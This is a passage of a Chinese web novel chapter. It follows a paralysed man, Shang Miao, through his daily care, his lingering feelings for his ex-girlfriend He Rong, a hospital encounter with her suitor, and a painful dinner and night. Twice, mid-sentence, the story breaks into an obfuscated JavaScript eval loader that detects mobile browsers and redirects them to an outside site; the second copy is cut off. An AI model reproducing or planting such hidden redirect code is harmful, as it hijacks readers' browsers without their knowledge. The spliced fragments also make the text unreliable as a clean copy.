抗痉挛的、防泌.尿.系统感染的,预防静脉血栓的、维生素片等等,他瘫痪后的常备药,而自从鹤蓉离开后,药盒又添一格。 ——安神助眠的。 他睡眠质量本就差,如今雪上加霜,整宿睁眼。 睡不好,身子愈是疲软,高背轮椅都坐不住了,不系上束缚带,身体便如泥鳅,滑溜溜往下滑。 护工拿起遥控器,将电动护理床的床头升起45°,尽管慢速,仍引得商渺体.位.性低血压,他两眼发黑,嘴唇煞白,天旋地转,脑袋往前一垂,银丝溢出嘴角,软塌塌地往一侧栽。 护工扶住了他,慎之又慎扶他靠好,在他两侧堆放几个枕头,以作支撑,夹着他瘫.软的残.躯,然后拿起他软绵绵的手,放在枕头上。 他手中握着毛巾卷,防止手指进一步萎缩,同时,也预防手部褥.疮。 “嗬嗬……嗬嗬……” 商渺气息微弱且局促,喉音混浊,像破败的风车。 护工拿起毛巾,接着他无法自控的口涎。 待商渺捱过了眩晕,护工擦净他的口周,换了新毛巾,擦拭他涌出生理性泪水的眼角,他混沌的眼神,渐渐恢复清明。 “辛苦你了。”商渺笑笑,“我又雇了一位新护工,你们轮着来照顾我,也能多些时间歇一歇。工资,我不会差你一分钱。” 一笑,眼型弯起,下眼睑那缺眠的乌青色展开,衬得他更是倦色浓酽。 “商先生,您总是这么客气。”护工摇摇头,“您发我工资,这就是我分内应该做的。我干这一行好多年了,就属您最宽厚,把我们护工当人看。” 商渺笑而不语。 笑意陈酿唇畔,有种不敢松懈的落寞。 他的这份善意,是被鹤蓉影响的。 他出身金贵,倒说不上傲慢冷血,但诚然,他鲜少关注社会身份低于自己的人,遇到了,擦肩而过罢了,产生摩擦了,最多不计较。 他如今的体恤,是鹤蓉潜移默化的影响。 好想她。 凡事都想起她。 离别的话说得轻巧而坚决。 可他实际小家子气极了,一点儿也不洒脱,对她的思念贯穿日落朝升,日日夜夜。 鹤蓉已去非洲八个月了。 原定半年多的考察项目,延期到了一年,不必顾虑他,她可以不急着回国,展开手脚,施展理想抱负。 商渺每每如此一想,思念日积月累织网,结成一张令他安心的温床,承托她自由飞翔。 护工捣碎药片,喂商渺含口中,把吸管递他嘴边,药的苦刺激商渺眉心几不可察地一皱,他咬住吸管头,吸一口水,缓慢而小心地咽下,尽量不让自己呛着。 胶囊类的药,则由护工拧开药衣,冲了水,他一口一口小口喝完。 很想干净体面,奈何吞咽费劲,药汁混着口水沿嘴角滑落,一串苦涩痕迹,他手不能抬,只能等待护工为他擦掉。 “商先生,我给您换新的尿.管吧。” 以前,夜里,商渺多穿纸.尿.裤,一来避免尿.路感染,二来,鹤蓉虽说睡相恬然,也难免翻身动腿,碰了他的尿.管,碰得管子里冒出红血丝来。 如今他不讲究了,怎样方便怎样来。 护工降下护理床,夹闭尿.管,排空气囊,戴上手套,拔掉了旧尿.管,滴露几滴坠在身下的护理垫上,商渺疲软垂下,备好无菌导.尿.包,清洗干净那处,将商渺摆成仰卧位,充分暴露,消毒商渺,检查了气管囊是否完好,而后,用润.滑.剂.润.滑.尿.管前端,提起商渺,用镊子夹住尿.管,缓缓插入二十厘米左右。 异物感激得商渺闷哼。 “呃……” 他方才清晰的眼神再度虚无起来,齿缝里溢出痛呼。 瘫腿倏地绷直,直上直下地蹬了几下,摔在了床榻上,双足一左一右歪倒两侧,脚背紧直,脚趾往脚心里蜷缩,腹部也颤抖,软肉晃了晃。 掌中的毛巾卷也抖了出去,手指嵌进掌肉里,指甲掐肉掐得指甲尖泛起月儿白。 插了半年管子,商渺的膀.胱废用得厉害,短短换管的十几分钟,就憋得他胸闷气短,下腹胀痛,他神志不清地喃喃“憋”。 插好尿.管,黄液迅速盈满管道涌入袋内,那憋.涨才缓消,他虚弱地吐息,进气少,出气多。 “商总,请问还有哪里需要调整的吗?”护工把尿.袋挂在床边,恭敬问道。 “我的右肩……和右背……有点……酸疼。”商渺气息断断续续,塌薄胸膛在被单下起伏,喉音低哑,“麻烦……你帮我……按摩一下。” 最近他睡眠奇差,可公司业务源源不断,需要他把关的事太多. 在办公室审阅文件,一审就是白加黑,仅凭稍许灵活一些的右手操作电脑,久而久之,积劳成疾,右半的身子乏累难耐,有时,半夜,右臂毫无预兆便痉挛,抖醒半梦半睡的他。 再此无眠,两眼困睁迎破晓。 护工给商渺翻身成侧卧姿势。 瘫废的躯干没有支撑力,商渺立马脸朝床栽去,护工在他前胸垫上一个长条枕,稳住他,然后,屈起他上方的那条腿,让膝盖支在枕头上,一方面,起到固定他体位的作用,一方面,不夹着尿.管。 他肩胛骨发红,久靠轮椅靠背压的,像孱弱的白的肤色上着墨的殇红。 护工揉他右侧肩背。 “嘶——” 酸痛感好似墨汁滴入水,扩散开来,商渺清俊眉眼不由得他皱起,压根越咬越紧。 “您的肌肉太僵了,商先生。”护工用掌根摁揉,“我给您揉开就舒服了,请您忍耐一下。” 肌肉?他哪里还有肌肉。 只剩枯槁一张皮包裹这不能动弹的残躯。 苦涩默默自己消化,商渺面上仍谦和温煦,挤出笑意:“好,麻烦你了。” * 月明星稀夜,万籁寂静,清醒之人的呼吸声显得特别清晰可闻。 一如往日,商渺失眠了。 醒着,闲着,想念便开始支配他。 他又一次切小号,点开了鹤蓉的微博。 最新发布的一条,是她的团队和一群非洲小孩的合照,背景低屋矮房,贫瘠的土黄色,她和小孩们一样,白色T恤配棉麻裤,却是他眼里最靓丽的彩色。 她瘦了些,也晒黑了点。 商渺侧卧着,一只手扶着手机,一只手的小指指节外侧,长按那张照片,保存。他切去相册,小指指节外侧点两下,将其放大。 清浅笑容挂在她脸上,她惯是那样,燥热气候,她依旧如青莲平心气静。 看来,她过得很好。 屏幕的白光跃进他染笑的眸底,唇畔不禁微扬,他真的替她感到高兴。 看餍足了,商渺才扫视其余队员,然后退出相册,给鹤蓉的微博点赞。 小小的大拇指按键,他瘫手晃晃悠悠三戳零准头,小指外侧的接触面积远大于点赞键,半晌,手都累酸了,才落了准。 那夜,商渺通宵把鹤蓉的微博从头刷到底。 他们过去的点点滴滴,她都没有删,像是封存的值得纪念的标本。 日出破开金山之时,护工来给商渺清空尿.袋,帮助他洗漱更衣。 微信跳出新消息。 鹤蓉:【安好,勿念。】 算着他的起床时间发来的,不扰他休息和工作,她每三天发一条给他报平安,让他不必挂心。 虽说已分开,联系却没断。 那日,鹤蓉改签了机票,改为和队友一同出发,计划有变动,她只顾得整理学术资料和工具,出行行李简单拾掇了一下,她的衣物用品大多都留在别墅里,她说,等回国了再来搬走。 商渺送她出门,沉默地坐着电动轮椅随在她身后。 半米距离,不远不近,多一寸,是否显得他贪婪妄挽留?少一寸,那根缘分线仿佛就扯断了,断线弹在他身上,他皮开肉绽。 虚拟的线,断与未断,谁说了作数? 可痛感却真实。 匕首横刺胸膛,心脏裂成两半。 到门口,鹤蓉驻步回头:“我走了。” 商渺思潮起伏,分了心神,没及时跟着她停下,电动轮椅几乎开到她面前,他倏地醒神,眉目浮上促色,眼睫快频眨了眨:“噢……好,我让司机送你。” 他微扬唇角,急忙松弛眉眼,瘫手操控轮椅手柄,稍稍往后退了些。 鹤蓉略显茫然,不懂他为何退后,她轻声说:“不用了,我打车就好。我打算先回家一趟。我一去大半年,我的爸妈也念想我,我跟他们好好打声招呼再走。” 她说不用送她。 坚持会显得霸道吗?会惹她不悦吗?会让提出分开的他很莫名其妙多管事吗? 商渺启唇:“好,那你注意安全,一路顺风。” “我会的。”鹤蓉把单肩包脱下,暂时放在行李箱顶部,她向他走近,商渺在犹豫要不要躲,她俯身,轻轻抱他一下,“商渺哥,你也是,注意安全,一定,一定,身体健康。” 清香拂过他鼻息,初绽花朵的淡,不具攻击性的似有若无,极其舒服的味道,可也实在淡,淡的,他摸不着且抓不住。 商渺哥,阿渺。 称呼退回分寸内,厘清边界了。 商渺下唇微抖,他咬住,不着痕迹地忍住酸涩,卯力抬起手臂,拍了拍鹤蓉的背。 克己复礼的拥抱道别。 他清清嗓,怕哽咽暴露,佯装轻松:“我也会的。你尽管放心,有这么多人照顾我呢。” 撤了拥抱,鹤蓉直起身,润泽眼眸凝视商渺,是不显心境的淡然,她替他熨平起了褶皱的衣衫:“那商渺哥,你保重,我走了。” 能偶尔发消息问候吗? 能继续关注你的生活吗? 能做以前的那种普通朋友吗? 商渺不敢问,话如同哽在喉咙的刺,吞,与吐,都剌得他尝尽血腥滋味。 “商渺哥,临走前,我想……”鹤蓉此时说,她长睫垂敛,欲言又止,“我想问问你,我还能联络你吗?” “我第一次当前女友,我不太懂,怎样的前任才是合格的前任。该两厢屏蔽,还是和平相处,保持不逾矩,我没有这方面的经验,我不太懂我怎样处理这份关系,你会更舒服。”她诚恳,“但是我想,我们之间没有差到老死不相往来那样。商渺哥,你温柔体贴,你应该会在意我在国外的安危,毕竟那边不如国内安全。所以,在我完成项目之前,我能发消息给你吗?告诉你,我是平安的。我猜,你或许也希望我这样。” 慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357673|199693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲入骨,她总有预见性的温柔。 “好。” 商渺声线在抖,喜悦与伤感参半。 他是漂流在茫茫汪洋大海上的人,天赐他救生圈,他溺不死,却也沉浮着上不了岸。 * 护工拿来尿盆,放开了尿袋闸口,淅淅沥沥的水声伴着刺鼻气味,在屋内弥漫。 “商先生,您最近的尿.液中沉淀物有点多了。您要是尿.路感染可就遭了,又要瘦好几斤。”护工忧心,“您抽空去医院检查检查吧,早查早治疗,也好得快。” 商渺道了句“还是你细心,我抽空去”。 他此刻心思发散,大半颗心扑在回复鹤蓉上,耸动着右手,用关节在键盘上打字,护工在旁,他有些赧然口述语音,又不愿怠慢了鹤蓉,让她等着。 【同好,勿念。】 商渺点击发送,疲倦的眼弯了弯,浅笑里透着些柔色的甜。 咻地,鹤蓉发来一张截图:【这是你的小号吗?】 商渺一愣,小拇指指节忙点开图片,竟是他小号的访客记录! “……” 他喉结滚了滚,眼珠错乱地转了转,情绪紧绷,身子也跟着发紧,瘫腿踢踢哒哒抖了三下。 护工赶紧检查尿.管,怀疑自己是不是□□的时候,不当心扯到了……没呀? “商先生,您哪里不舒服吗?” 商渺苦笑着摇了摇头,他的小伎俩被抓包了。 【你为什么猜测是我?】 认不是,否认也不是,他便把问题抛回了鹤蓉。 鹤蓉:【我的界面显示,“他昨日频繁访问你”。这个账号很新,注册日期差不多就在我们分开的那段时间。所以我猜是你。】 鹤蓉:【商渺哥,我猜对了吗?】 ……她还是那样坦直。 商渺下意识抿了一下唇,唇线的弧度有些窘迫,慌乱的眼神投向窗外,不在聚焦看某物,而是专注寻找解题思路。 他试问:【如果是我,你会怎样想呢?】 “正在输入”的字样磨他的神经,分秒好似被切碎了,碎得漫长。 终于,对话框更新: 【如果是你,我会告诉你,不必换小号来看。】 扑哧一声笑。 护工闭上尿.袋的开关,循声,探头,瞅了眼商先生,俊朗清逸的男人,许久没笑得这般畅然了,他捧着手机,瞳仁黑亮,里面装了个人。 商渺唤陈管家,让其预约下周的泌.尿.系统检查,安神的药也该换换了,换更有效的。 安好,勿念。 他必须守信用,真的做到安好。 * 问诊开药,做完体检,拿到化验结果,夕阳西下,天际像一瓣揉碎了的橘子糖。 折腾大半天,商渺体能告急,瘫在高背轮椅上,不住往下滑,随行的护工支起了他腋下的支板,又拿出两条束缚带,一条捆腰间,一条绑膝盖,将他的废躯固定在轮椅上。 轮椅背也降了30°,商渺半躺半靠。 每次检查,他都累得像被扒了层皮。 鹤蓉在时,她看他昏昏欲倒,会强迫他回改装过的无障碍面包车上,放平轮椅靠背,强制他躺平,她给他拍拍僵硬的背,捏捏困乏的腰,养精蓄锐一时半会,才推他去做下一项检查。 一天下来,顶天了查三项。 全身检查得两天才做得完。 思及她,商渺翘起怀恋的微笑。 如今分开,他不想在冰冷的医院独自待太久,一切速战速决,累,就再挺一挺。 右侧的肩臂越发疼得厉害,轮椅碾过一颗小石子,轻微的颠簸都引起撕裂般的疼痛,商渺无法控制手柄,换了护工来推他。 既然来医院了,商渺想着,顺道去趟康复理疗中心,治一治右半身的问题。 廊道漫漶着中草药味,工作日,病患不多,不然商渺高大笨重的电动轮椅要挤到人了。 看诊室在二楼,他往电梯间驶去。 电梯门开。 商渺只往里余光一瞥。 倏而,他心跳漏半拍,压抑的情感破土而出,枝丫蓬勃疯长,不可耐地奔向轿厢一角的那女人。 她真的比上次见时黑瘦了些。 黑了,更朝气健康,瘦了,更矫健清秀,却也惹他疼惜,她檀唇细眉,眼睛是雨后初晴的清亮。 ——鹤蓉。 商渺怔愣。 他竟在这里遇到了她。 他半夜悄摸着流连的那张脸,此刻触手可见。 门完全敞开,鹤蓉收回眼神,正欲出去,她脚下一顿:“商渺哥?” 四目相接,两人几乎异口同声: “你病了吗?” “你病了吗?” 谁不比谁语气中的担忧少一些。 电梯里的人陆续往外走,商渺忍着痛,操控电动轮椅往后退,腾出空间,等鹤蓉出来了,他棱角分明的下颌微微扬起,他显微镜似的端量她的脸色,无恙,于是,他蹙着眉,自脚到头地检查她。 “商渺哥,我没事。”鹤蓉率先解释,“我陪朋友来的。” 朋友? 商渺循着鹤蓉的示意,看向她畔侧的男人。 男人健硕挺拔,轮廓利落如刀裁,穿一件随性的衬衫,衣袖半挽,露出肌肉贲发的小臂,他眼睛极黑,目光沉稳,不轻浮,不游移。 商渺面熟这男人。 他在那合照上见过。 7. 第九页:旧人悲 “你好。”商渺冲男人颔首,“我是商渺。” 他知礼守节,看人通常定眼三秒便移开,不显直愣或有侵略性。 可彼时,他忍不住多打量男人。 “你好,方怀,鹤蓉的朋友。”方怀笑时很是忠厚,眼睛弯的,一笑,面肌耸起,颧骨那块透出荷尔蒙十足的亮,他边笑边说,“也是鹤蓉的队友,我们一块儿在纳米比亚做考察。我爷爷病了,在住院,鹤蓉说她陪我回国看看。我们刚给我爷送完饭。” 方怀的手将抬未抬,飞速瞄了眼商渺的鸡爪手,他在斟酌初次见面该不该行握手礼。 倒是商渺举止大方,他提肩,卯力,抬起坠痛的右臂,肩关节好似上锈的零件,无声的嘎吱刺痛,只有他自己听见。 他递出右手,细瘦手臂摇摇欲坠,他只好用左臂垫在右臂底下扶了一把,消瘦身形因这动作,而歪向一边,幸有腋下挡板挡着,他才没侧翻。 “很高兴见到你。”商渺温润如玉,“我是鹤蓉的……学长。” 方怀见状,忙不迭弯腰伏低,宽厚大手覆上来,兜住商渺的瘫手,礼貌地握了握:“我也是,我也是,很高兴见到你。” “商渺哥,所以,你为什么在医院?”鹤蓉问。 两男人握完手,方怀小心地松开,商渺的右手一下子便脱力,砸在腿上,蜷在手心的五指软绵绵地抽动,鹤蓉问着,习惯性拿起商渺的手,捋了捋他的五指,然后将他的右手放回手托处,掰开他手指,拢在手柄上,看着指头因肌张力而缩起来,虚虚握住手柄。 她掀眸,清淡眼神露出些许追问的执拗。 “我来做身体检查。”商渺说一半藏一半,“我还是老样子,每个月都来见见医生。” 鹤蓉:“医生怎么说?” “说没什么事。”商渺温色声轻,笑了笑,“医生还是老话术,让我定期来复查就行。” 他身体的其他机能虽差,但正常,尿路有絮状沉淀物但没到感染发炎的程度,睡眠科也看了,开了新药,吃着看看情况即可。 唯有最痛的右边身体,他还没来得及去检查。 请恕他不诚实。 善意的谎言买她心安。 “真的吗?”鹤蓉望向护工,寻求正答。 护工跟了商渺多年,与雇主同心,明白商先生最不愿让鹤小姐担心,便顺着商渺的话说:“鹤小姐,医生是这样说的。” 商渺眼下的青色像洗不掉的墨水,鹤蓉眉头蹙了蹙,扶正了他歪斜的身体。 商渺昂脸笑了笑:“谢谢。” “快六点了,到饭点了。”方怀抬起手机,亮屏看时间,而后拘谨地瞥向鹤蓉,手掩在唇边咳了下,欲盖弥彰地说,“鹤蓉,你帮了我这么大的忙,我不能欠你人情,我理应请你吃饭的。今天,既然有缘碰见了,要不,我们仨就一起吃一顿?” 方怀手指画了个圈,圈住鹤蓉和商渺:“行么?我请客。” 商渺下意识观察鹤蓉的反应,他润泽眼眸飞快地凝她而过,拿不住他这前男友的身份,赴宴,会不会扫兴,拒绝…… 他舍不得拒绝。 他八个月十一天没同她共进一餐过了。 以后,也未必有机会。 他敛回目光,又雁过无痕地探了眼鹤蓉,她沉静温淡地注视他。 纠结不决时,她先开口。 “商渺哥,我们一块儿快点去吃吧。已经不早了,太晚吃饭,你的胃会难受。” 瘫痪后,商渺久坐不动,肠胃蠕动极差,过了六点半进餐,食物仿佛凝结成石块堆积在他胃里,哪怕护工给他揉胃半小时,也难以消化,轻则便秘,重则原封不动反哕出来,呛得他涕泗横流。 “好。”商渺按捺悦色,“那恭敬不如从命。” 方怀替商渺按电梯:“对了,你是不是要上去一趟?我和鹤蓉等你。” “不必麻烦。”商渺违心道,“我原本想去和我的主治医师道声别。无妨,我发消息跟他说一声就行。” 他又撒谎了。 好想和鹤蓉待一会儿,哪怕不合时宜,哪怕一炷香短暂。 方怀问了商渺的口味偏好,商渺不挑口,清淡一点就行,方怀查了一家无障碍设施比较完善的餐厅,说是吃越南菜,看网友评价,这家的墨鱼子伴软壳蟹和米纸卷是夯招牌。 闻言,商渺心脏重重叩击胸膛,撞之强烈,闷沉的余震波及到了耳鼓膜,他听声涣散,鹤蓉清越的声音好似飘在天边。 “方怀,这家餐厅看起来挺贵的。我们各付各的吧。” “那不行,我请。”方怀小麦色的面庞洇出红晕,他曲指节,顶了下鼻尖,“鹤蓉,我在追求你,我怎么能让你花钱?” 鹤蓉最喜欢吃越南菜。 墨鱼子伴软壳蟹、蔬菜米纸卷、生牛肉河粉…… 果然,直觉不假。 方怀和他拥有同样的一片痴心。 鹤蓉扭头望来,商渺跟随在他们身后,他慌不择路地回避视线,敛了敛眼皮,瞬息间,他又沉稳回望,神色浪静风恬。 他外无波澜,内有惊雷。 但愿他还算体面。 眼底的仓皇没往外泄。 * “方怀,你不用太破费,我们点套餐就行。”单点单价高,鹤蓉声淡却坚持,“套餐划算。我没帮你什么大忙,吃你太贵的,我会有心理负担。” 小程序菜单加了一大堆荤素汤水,听言,方怀只好讪讪然一个个删掉,他打趣:“诶,我本来想当个霸道总裁,结果被你一秒拽回现实。好吧,好吧,客人最大,我就不装大款了。” 鹤蓉被逗笑,唇像绽开的桃花瓣。 他也该笑的,不煞了气氛,笑啊,快笑啊……商渺生拉硬拽牵起唇畔,合宜地笑了笑。 四方桌子,鹤蓉和方怀坐一边,商渺坐另一边,护工坐商渺右侧,用餐时方便辅助他,四个人,方怀顺着鹤蓉的意,团购了四人套餐,问商渺再加点啥不?商渺浅笑说已经很丰盛了。 等待上菜的档子,几人闲聊。 商渺遇到鹤蓉总是理智失常,沉着的人,静水般的心被搅得天翻地覆,探索欲张牙舞爪,他疯了似的好奇,方怀和鹤蓉的关系。 在追求,意味着他们还不是男女朋友。 可进展到哪一步了? 临门了吗?鹤蓉会同意吗? 方怀知道他是鹤蓉的前任吗? 她会拿方怀……和他做比较吗? 各种疑问在唇齿间转圜,终了,商渺喉结翻滚,没有主动问任何问题。 方怀不拘小节地聊,他跟商渺说:“我在国企,干工程的,去年被派驻到纳米比亚搞建设。那地方气候热,条件也不好,领导说给我五倍薪资我才去的。说真的,我特佩服鹤蓉……” 他赶紧补上:“和她们那一行的科研小伙伴。她们经费也不多,纯就为爱发电。” 是她一贯的无私作风。 商渺暗自腹诽,没讲出来显得他和鹤蓉特别熟络,他嗓音润泽:“有志同道合的朋友,做喜欢的事,条件苦一点也不觉得真的苦。” “可不?”方怀认同,给鹤蓉杯中添水,“鹤蓉充实也满足得很。晚上,好不容易休息了,她还自愿给村里的小孩教算术呢。” 拎壶倒水,方怀的手臂靠鹤蓉越来越近,商渺不可自控地盯着他们即将相贴的衣料。 “商渺,你能喝不?温的,玫瑰茶。” 方怀的问话让商渺拔回视线,他看着方怀隔着玻璃壁探水温。 方怀没有恶意,小包工头面朝黄土背朝天,打交道的都是粗人,便养成了说话直的性子,他关心:“还是喝热的白开水?我问服务生要。” 无力感是沉疴痼疾,无法治愈,不经意间刺痛,提醒商渺悲惨的事实。 他忌生冷忌油腻,过之,则腹泻,一塌糊涂。 他需要人事无巨细待他如呱呱坠地的婴孩。 他没法子给鹤蓉铺餐巾,给她端茶递水。 商渺并非很敏感自厌,车祸后,他甚至是勇士,坦然接受了自己的残状。 如此体恤,换作其他人来说,他都不会生出荒芜贫瘠的凄凉感,可对方是鹤蓉的追求者。 飓风过境,仅剩的骄傲夷为平地。 忧虑接踵而来。 他担心他这样的前男友是否损了鹤蓉的声誉?物以类聚,人以群分,方怀,或她日后的伴侣,看她竟和重残人士交往,会不会对她怀有低视? 他太差劲了。 居然才后知后觉地考虑到。 “不用,方怀,我喝这个就好。”商渺找回声音,音色有些哑。 “你喝点水,润润嗓子。”方怀误以为商渺口渴,自责照顾不周,热情地倒水。 商渺也得体,忍痛耸着肩膀,将右臂甩上桌面,佝偻着手腕把水杯往前推了推。 玫瑰花瓣堵在了瓶口,水倒不出来,方怀稍加用力地倒,哐当,瓶盖掀了,茶水洋洋洒洒泼在商渺的袖口,泡掉色的一朵蔫玫瑰,还卡在商渺的虎口,他抖抖手腕,试图甩掉,可手指一阵痉挛,反倒嵌那玫瑰嵌更紧,他无奈苦笑。 “……啊!对不起对不起对不起!”方怀手忙脚乱,“啊,我蠢死了!对不起啊,我笨手笨脚的,纸,纸……” 方怀囧得满面通红。 商渺安慰:“是我帮倒忙了,我不该推杯子。” 他蹭着桌面,往回收右手,等着护工给他擦,一只柔软小手却先一步握住他。 商渺错愕掀眸,只见鹤蓉起身过来,她半蹲在他轮椅的扶手边上。 她掰开他蜷缩的手指,捡出玫瑰花,细软指尖捻走粘在他皮肤上的花瓣碎碎,她带了湿巾,抽几张,拉直他的手指,一根一根仔细地擦,指甲缝也不遗漏。 淡雅气息萦绕他鼻腔,莫名,他鼻头微酸。 “商渺哥,我把袖子给你挽起来吧,等下吃饭也方便些。”鹤蓉仰脸,清凌凌的眼。 商渺像没思想只顺从的玩偶,言听计从,贪恋而懵怔地望她发顶的旋。 鹤蓉一边挽起商渺湿漉漉的袖子,一边宽慰方怀别紧张,就当这杯水,给这顿饭彻底破冰了,一以贯之,她的善意雨露均沾。 服务员清理了桌面,很快,菜便上来了。 “方怀,我的吃相不是那么文雅,但愿不影响你的胃口。”商渺暗示护工给他佩戴辅助手套。 护工面露难色。 商先生右手比左手恢复得好,可用性也强一些,吃饭签字靠右手,但商先生劳累过度,右臂罢工,左臂未经训练,很难代替右臂,于是最近数日,都是他喂商先生吃一日三餐的。 此情此景,面对情敌,想必商先生不想显得一无是处吧,护工便给商渺的右手戴上辅助手套,将一把轻质叉子插进掌心的插扣里。 “嗐!我们土木老哥,没有吃相温雅一说。”方怀笑呵呵自黑,“尤其去了非洲,那边贫富差距极大,有些农村里的,吃饭靠手抓。我入乡随俗,忙极了,也拿手当餐具就囫囵了。” 方怀马虎粗心。 但看得出,他性格敦厚老实。 商渺不露形色地瞥鹤蓉,眼神添了深味。 希望她不发现,他右胳膊疼得快撕裂了。 护工给商渺夹了一块牛肋条,切成了一口大小,便于他入口,商渺屏息凝神,抬手,侧着手腕,瞄准小肉块扎下去,叉子一滑,磨着餐盘发出“咯吱”,他的右肩关节也同频地磨损,削骨刮肉的疼,他大喘气两下才忍下剧痛,继续操动叉子,终于插上了肉,颤巍巍抖着手,脸也往前伸,去够。 一口入腹,商渺如释重负。 但他终究高估了自己,吃了三口,他的右臂便再无法抬离,只能萎靡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那晚,商渺回家,疲惫躺上床,数个枕头支起他疲软的身体,他语音办公,审阅白日落下的工作。 “叮——” 微信跃出。 鹤蓉:【我可以去拿我的东西吗?】 似漆夜点一盏烛火,商渺暗淡的眼眸倏亮,欣喜她的消息,可转瞬,眸色再度趋暗。 搬走行李。 这里,就彻底抹去她曾停留过的痕迹了。 商渺清了清嗓,使得声音有中气一点,他回鹤蓉:“好。你什么时候过来?明天吗?” 【我可以现在过去吗?】 商渺眸珠渐渐扩大,酸涩滋味如同藤蔓攀爬,迅速包围他的心脉,根茎的刺扎进血管。 这么急吗。 夜深了也急着来取走。 【好,路上注意安全。】 他不敢发语音给她,怕暴露那无望的语气。 * 商渺唤来护工给他换了套新的居家服,抱他坐上高背的电动轮椅,整理好衣着,护工推着他去客厅,等待鹤蓉到来。 他备好了纸箱、胶带、泡沫纸,她来,用就好,别墅的佣人也会搭把手。 少时,陈管家走来,他身后,鹤蓉姿容清丽。 她明眸一眼便落在商渺脸上,薄润下唇挤了挤,那表情,像藏着小心思。 “来了。”商渺梗了梗脖子,尝试坐得更端正,奈何锁骨以下的躯体瘫废,只有头徒劳地动了动。 鹤蓉拎着帆布包,包在身后,半掩半藏,商渺疑惑地望着她的包,她几步迈来,把包搁在茶几上。 “商渺哥,我煮了山药小米粥,你晚上喝,比较容易消化。”她从包里拿出保温饭盒,掀盖,温腾米香挥发,她分小碗盛出一点,端他面前,“你晚上几乎没吃。就这样空着胃吃药,胃要难受了。” 商渺神色温煦。 却又像被什么钉住了。 白色热气缭绕,他视线中,她清秀面容有些模糊,睫毛低覆,瞳仁温亮像融化的月亮。 商渺低涩道:“谢谢。” 他咬紧牙根,刚欲抬臂去拿勺子,鹤蓉轻柔地摁下了他的手。 “商渺哥,我喂你。”她一语道破,“你的右手怎么了吗?” “你……”商渺怔然。 “下午那顿,你拿叉子的手比平时抖,肩膀也比平时紧很多。”鹤蓉拢着商渺的手指,入手生凉,拥进掌心捏一捏,“是胳膊疼吗?怎么都不说?” 疼。 四肢百骸都疼。 商渺无言地张开嘴,见他不说,鹤蓉尊重他没急着追问,她舀一小勺米粥,吹凉,喂他嘴边,他吞咽无力,她扶着他的喉结,辅助他慢慢下咽,担心喝快了,不利于消化,她搓热手,伸进他睡衣里面,覆上他腹部的软肉,打圈揉动,促进他肠道运动。 一小碗见底,鹤蓉又去盛了小半碗。 一扭头,轮椅上的男人别开了脸,面朝她反向,他下颌角绷得格外坚毅,锐度几乎破皮而出,消瘦的胸膛依稀抖动,刘海散乱在他眉前。 鹤蓉帮商渺拨开乱发。 摸到了湿痕。 ——他哭了。 “怎么了?”鹤蓉匆匆搁下碗勺,绕到另一边,捧着商渺泪湿的脸,小心翼翼地擦。 眼神是传递情绪的窗口,他此刻五味杂陈,狼狈更甚,不敢面对她,他紧阖眼帘。 “商渺哥?我不明白你怎么了。” “鹤蓉,你为什么,这么对我?”他音节破碎,喉音深得像从心房掏出,如泣如诉,“你分明,要走得彻底了,又为什么,给我念想呢?” 为什么,又给他希望呢? 让他难以割舍。 濡湿的眼睫粘稠地缓慢掀,商渺在泪雾迷蒙中,深凝鹤蓉。 情是饮鸩。 明知酒苦。 8. 第九页:克己欲 粥冷了。 米香消弭,商渺只嗅到他悲惨的味道。 他无数次一.丝.不.挂在鹤蓉面前,暴露病体残缺,可都抵不上这一刻,他里里外外露.了.个.干.净,他不单身体丑陋,心理也扭曲了。 他是无理取闹的刁民。 讨伐恩人只给他一斗米,吝啬至极,为何给他的,不比给别人的多?为何不一直给他? 他声讨她的施舍,逻辑下流地责怪她,都怪你给了我白米让我尝了甜头,不然我不会惦记,不然,我就体面地目送你离开了。 商渺无地自容。 他身心都是残废。 湿重的羽睫缀在眼前,他再次别过脸去。 鹤蓉难得无所适从,碗捏在手里越捏越紧,她鲜少有话闷着不说,却闷了半晌,双唇翕翕合合才下定决心问出:“我……不应该这样做吗?” 不是她不应该。 是他太不识好歹。 “鹤蓉,你的东西都放着没碰过。我有点累了,先回房间休息了。” 商渺逃也是的驶离。 轮椅速度太快,他转弯,几乎漂移进卧房,没有束带的固定,惯性之下,他斜斜地甩出轮椅,重重砸向铺着地毯的地板。 沉闷一声重物落地。 他狼狈地摔在地上。 吓得紧随跟来的护工险些惊叫出来。 “别出声……惊动……她。”骨头好似一节节断开,痛至骨髓,痛得商渺头皮发麻,后脖子窜起一层鸡皮疙瘩,他艰难发声,“把……门……关上。” 别让她看见。 她心软良善,定会担心的。 四肢犹如被随手一丢的木偶人,潦乱摊在地上,左腿内八,右腿外弯,左手并在身侧掌心朝上,右手压在身下面,蜷缩的手指还垫着膀.胱。 尿.管和尿.袋的接口崩开。 污.液漫金山,弄脏了洁白的地毯。 商渺的整个背肌都无力,俯趴姿势,他甚至无法凭一己之力抬起脸来,毛毯的绒絮吃进他嘴里。 他吐不出,光是呼吸已让他精疲力竭。 护工把他抱上床,好生一番检查,给他戴上家用氧气面罩,他睁着虚焦空洞的眼,活死人一具,竟有片刻感觉到安宁。 ——做了坏事受到惩罚后的心安。 他太糟糕了。 这样也好,闹得不欢而散,抹去他在她心中所有的体面与美好,愿她不再记挂他,心若空谷,回声辽阔。 心是空的,人就轻了。 那晚,商渺极致困倦,眼帘降了半闸,混浊的眼球偶有颤动,视野好似降下一场瓢泼大雨,视物不清,听力却在捕捉门外。 鹤蓉扣了门。 仅轻细一下。 许是茫然不知该不该面对面告别,门沉默片刻,再无叩声。 